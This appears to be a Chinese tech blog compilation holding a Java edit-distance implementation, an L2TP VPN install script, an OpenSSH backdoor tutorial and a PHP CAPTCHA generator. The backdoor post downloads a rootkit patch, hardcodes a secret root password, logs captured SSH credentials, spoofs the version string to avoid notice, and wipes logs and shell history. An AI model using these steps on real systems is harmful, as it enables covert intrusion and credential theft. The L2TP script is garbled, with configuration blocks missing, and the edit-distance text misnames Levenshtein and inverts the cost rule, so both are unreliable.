编辑距离算法 的Java实现

编辑距离是指通过添加删除或更改字符这三种操作,由一个字符串转到另一个字符串所需的最少次数。

俄国科学家Liechtenstein在1956年首次提出了这个概念.

对于编辑距离的实现,可以通过下述方式进行计算:

假设有字符串a,b,计算由a至b的编辑距离ed(a,b),此处设定La,Lb分别表示a,b字符串的长度

<1>La==0||Lb==0  –> ed(a,b)=La+Lb

<2>如果La,Lb都不等于0,那么 ed(a,b)=min{ed(a-1,b)+1, ed(a,b-1)+1,ed(a-1,b-1)+b(a,b)}     b(a,b)=1 if a的最后一个字符等于b的最后一个字符,否则b(a,b)=0

————————Code——————————-

package Levenshtein;

/**

* @author c0rpse * 编辑距离算法的实现 *

*/

 public class Levenshtein {

public static void main(String[] args){

 String a = "abc",b = "def";

System.out.println(levenshtein(a,b));

}

public static int levenshtein(String x,String y){

 int xl = x.length(),yl=y.length();

if(xl==0||yl==0) return yl+xl;

String x_1=xl-1&gt;0?x.substring(0, xl-1):"";

 String y_1=yl-1&gt;0?y.substring(0, yl-1):"";

int x__1=levenshtein(x_1,y)+1;

int y__1=levenshtein(y_1,x)+1;

 int x_y=levenshtein(x_1,y_1)+(x.substring(xl-1).equals(y.substring(yl-1))?0:1);

 return min(min(x__1,y__1),x_y);

}

public static int min(int x,int y)
{

return x&lt;y?x:y;

}

}

redhat6.3一键安装L2TP脚本

Tips:
1.灵活设置自己的公网IP
tmpip=`ifconfig |grep ‘inet’ | grep -Evi ‘(inet6|127.0.0.1)’ | awk ‘{print $2}’ | cut -d: -f2 | head -1`
这行代码是检测网卡IP的,使用head或tail合理选择自己的公网IP
2.如果是SSH非root登录的系统,首先要 su root,然后进入/root或者注释掉程序开头对root身份的认证.
3.最后ipsec verify的结果如果出现下述情况:
<1>Two or more interfaces found, checking IP forwarding [FAILED]
那么请运行如下命令:
cat /proc/sys/net/ipv4/ip_forward
如果结果是1,请忽略这个FAILED.

<2>Checking for IPsec support in kernel [FAILED]
SAref kernel support [N/A]
Checking that pluto is running [FAILED]

如果出现上述情况,请执行下述命令:

ipsec setup start

再次执行ipsec verify查看.

 

——————————CODE BEGIN————————————–

#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
#===============================================================================================
# SYSTEM REQUIRED: CentOS 6 (32bit/64bit)
# DESCRIPTION: Auto install L2TP for CentOS 6
# Author: Teddysun <i@teddysun.com>
#===============================================================================================

if [[ “$USER” != ‘root’ ]]; then
echo “Sorry, you need to run this as root”
echo $USER
exit 1
fi

if [[ ! -e /dev/net/tun ]]; then
echo “TUN/TAP is not available”
exit 1
fi

clear
echo “”
echo “#############################################################”
echo “# Auto install L2TP for CentOS 6/RedHat 6 #”
echo “# System Required: CentOS/RedHat(32bit/64bit) #”
echo “# Intro: ~~~ #”
echo “# Author: ~~~ #”
echo “#############################################################”
echo “”

tmpip=`ifconfig |grep ‘inet’ | grep -Evi ‘(inet6|127.0.0.1)’ | awk ‘{print $2}’ | cut -d: -f2 | head -1`
if [[ “$tmpip” = “” ]]; then
tmpip=$(curl -4 icanhazip.com)
fi

echo “Please input IP-Range:”
read -p “(Default Range: 10.1.2):” iprange
if [ “$iprange” = “” ]; then
iprange=”10.1.2″
fi

echo “Please input PSK:”
read -p “(Default PSK: vpn):” mypsk
if [ “$mypsk” = “” ]; then
mypsk=”vpn”
fi

clear
get_char(){
SAVEDSTTY=`stty -g`
stty -echo
stty cbreak
dd if=/dev/tty bs=1 count=1 2> /dev/null
stty -raw
stty echo
stty $SAVEDSTTY
}
echo “”
echo “ServerIP:”
echo “$tmpip”
echo “”
echo “Server Local IP:”
echo “$iprange.1”
echo “”
echo “Client Remote IP Range:”
echo “$iprange.2-$iprange.254”
echo “”
echo “PSK:”
echo “$mypsk”
echo “”
echo “Press any key to start…or Press Ctrl+c to cancel”
char=`get_char`
clear

mknod /dev/random c 1 9
# Install some necessary tools
yum install -y ppp iptables make gcc gmp-devel xmlto bison flex libpcap-devel lsof vim-enhanced
#
cur_dir=`pwd`
mkdir -p $cur_dir/l2tp
cd $cur_dir/l2tp
# Download openswan-2.6.38.tar.gz
if [ -s openswan-2.6.38.tar.gz ]; then
echo “openswan-2.6.38.tar.gz [found]”
else
echo “openswan-2.6.38.tar.gz not found!!!download now……”
if ! wget http://lamp.teddysun.com/files/openswan-2.6.38.tar.gz;then
echo “Failed to download openswan-2.6.38.tar.gz, please download it to $cur_dir directory manually and retry.”
exit 1
fi
fi
# Download rp-l2tp-0.4.tar.gz
if [ -s rp-l2tp-0.4.tar.gz ]; then
echo “rp-l2tp-0.4.tar.gz [found]”
else
echo “rp-l2tp-0.4.tar.gz not found!!!download now……”
if ! wget http://lamp.teddysun.com/files/rp-l2tp-0.4.tar.gz;then
echo “Failed to download rp-l2tp-0.4.tar.gz, please download it to $cur_dir directory manually and retry.”
exit 1
fi
fi
# Download xl2tpd-1.2.4.tar.gz
if [ -s xl2tpd-1.2.4.tar.gz ]; then
echo “xl2tpd-1.2.4.tar.gz [found]”
else
echo “xl2tpd-1.2.4.tar.gz not found!!!download now……”
if ! wget http://lamp.teddysun.com/files/xl2tpd-1.2.4.tar.gz;then
echo “Failed to download xl2tpd-1.2.4.tar.gz, please download it to $cur_dir directory manually and retry.”
exit 1
fi
fi

# untar all files
rm -rf $cur_dir/l2tp/untar
mkdir -p $cur_dir/l2tp/untar
echo “======untar all files,please wait a moment=====”
tar -zxf openswan-2.6.38.tar.gz -C $cur_dir/l2tp/untar
tar -zxf rp-l2tp-0.4.tar.gz -C $cur_dir/l2tp/untar
tar -zxf xl2tpd-1.2.4.tar.gz -C $cur_dir/l2tp/untar
echo “=====untar all files completed!=====”
# Install openswan-2.6.38
cd $cur_dir/l2tp/untar/openswan-2.6.38
make programs install

# Configuation ipsec
rm -rf /etc/ipsec.conf
touch /etc/ipsec.conf
cat >>/etc/ipsec.conf<>/etc/ipsec.secrets< $each/accept_redirects
echo 0 > $each/send_redirects
done

# Install rp-l2tp-0.4
cd $cur_dir/l2tp/untar/rp-l2tp-0.4
./configure
make
cp handlers/l2tp-control /usr/local/sbin/
mkdir -p /var/run/xl2tpd/
ln -s /usr/local/sbin/l2tp-control /var/run/xl2tpd/l2tp-control
# Install xl2tpd-1.2.4.tar.gz
cd $cur_dir/l2tp/untar/xl2tpd-1.2.4
make install
mkdir -p /etc/xl2tpd
rm -rf /etc/xl2tpd/xl2tpd.conf
touch /etc/xl2tpd/xl2tpd.conf
cat >>/etc/xl2tpd/xl2tpd.conf<>/etc/ppp/options.xl2tpd<> /etc/ppp/chap-secrets

touch /usr/bin/l2tpset
echo “#/bin/bash” >>/usr/bin/l2tpset
echo “for each in /proc/sys/net/ipv4/conf/*” >>/usr/bin/l2tpset
echo “do” >>/usr/bin/l2tpset
echo “echo 0 > \$each/accept_redirects” >>/usr/bin/l2tpset
echo “echo 0 > \$each/send_redirects” >>/usr/bin/l2tpset
echo “done” >>/usr/bin/l2tpset
chmod +x /usr/bin/l2tpset
iptables –table nat –append POSTROUTING –jump MASQUERADE
l2tpset
xl2tpd
cat >>/etc/rc.local< #
#############################################################
if there are no [FAILED] above, then you can connect to your
L2TP VPN Server with the default user/password below:

ServerIP:$tmpip
username:vpn
password:${pass}
PSK:$mypsk

exit 0

openssh通用后门设置教程.方法<1>

为了避免在重编译SSH时出现问题,提前进行如下准备操作:
yum install -y zlib zlib-devel
yum install -y openssl openssl-devel pam-devel

1.查看SSH版本
ssh -V
OpenSSH_5.3p1p1, OpenSSL 1.0.1e-fips 11 Feb 2013
2.下载openssh源码与后门文件
注意:许多Blog里openssh的下载链接已经失效,以下链接在发文时亲测可用
openssh源码:
wget http://mirrors.nycbug.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
后门文件:
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
3.备份原有ssh配置文件
cp -p /etc/ssh/sshd_config{,.bak}
4.编译安装openssh
解压文件
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
复制后门文件至openssh源码
cp sshbd5.9p1.diff ../openssh-5.9p1
进入openssh源码进行patch
cd ../openssh-5.9p1
patch <sshbd5.9p1.diff
在openssh源码根目录编辑includes.h
vim includes.h
自定义以下三行的数据值:
#define ILOG “/tmp/ilog”
#define OLOG “/tmp/olog”
#define SECRETPW “redkey”
ILOG用于记录登录本机的帐号,OLOG记录登录远程主机的SSH帐号
SECRETPW 为登录的root帐号密码,登录时用户名为root,密码为该处设置的密码
在openssh源码根目录编辑version.h
修改如下数据:
#define SSH_VERSION “OpenSSH_5.3p1”
“”号的内容替换为第一步记录下的SSH版本。
这一步只是为了避免SSH版本的变化引起管理员的注意。
5.编译安装
在openssh源码根目录进行如下操作
./configure –prefix=/usr/ –sysconfdir=/etc/ssh/ –with-pam –with-kerberos5
make && make install
6.还原sshd_config文件时间戳
cd /etc/ssh &&touch -r sshd_config.bak ssh_config
7.重启SSH服务
service sshd reload
8.清除相关操作日志
sed -i “/sshd/d” /var/log/secure 清除该文件下含有sshd的行,同时可以把自己的IP填进去进行定点清除
echo >/root/.bash_history 清除history操作记录
如果还是不放心,可以下载Linux-Log-Eraser日志工具进行日志行踪spoof.
关于Linux-Log-Eraser-1.0,有时间写个教程~~

PHP采用GD绘制验证码

<?php
session_start();
vCode(5, 50); //5个数字,显示大小为50

function vCode($num = 5, $size = 20, $width = 0, $height = 0) {
!$width && $width = $num * $size * 4 / 5 + 5;
!$height && $height = $size + 10;
// 画图像
$im = imagecreatetruecolor($width, $height);
// 定义要用到的颜色
$back_color = imagecolorallocate($im, 235, 236, 237);
$boer_color = imagecolorallocate($im, 118, 151, 199);
$text_color = imagecolorallocate($im, mt_rand(0, 200), mt_rand(0, 120), mt_rand(0, 120));

// 画背景
imagefilledrectangle($im, 0, 0, $width, $height, $back_color);
// 画边框
imagerectangle($im, 0, 0, $width-1, $height-1, $boer_color);
// 画干扰线
for($i = 0;$i < 7;$i++) {
$font_color = imagecolorallocate($im, mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
imagearc($im, mt_rand(- $width, $width), mt_rand(- $height, $height), mt_rand(30, $width * 2), mt_rand(20, $height * 2), mt_rand(0, 360), mt_rand(0, 360), $font_color);
}
// 画干扰点
for($i = 0;$i < 70;$i++) {
$font_color = imagecolorallocate($im, mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
imagesetpixel($im, mt_rand(0, $width), mt_rand(0, $height), $font_color);
}
// 去掉了 0 1 O l 等
$str = “23456789abcdefghijkmnpqrstuvwxyzABCDEFGHIJKLMNPQRSTUVW”;
$code = ”;
// 画验证码
for ($i = 0; $i < $num; $i++) {
$fontcont=$str[mt_rand(0, strlen($str)-1)];
$code .= $fontcont;
$x=$i*$size * 4 / 5 + 5;
$y=rand($height/4,$height/2);
imagestring($im,5,$x,$y,$fontcont,$text_color);
}
$_SESSION[“VerifyCode”]=$code;
header(“Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate”);
header(“Content-type: image/png;charset=utf-8”);
imagepng($im);
imagedestroy($im);
}

?>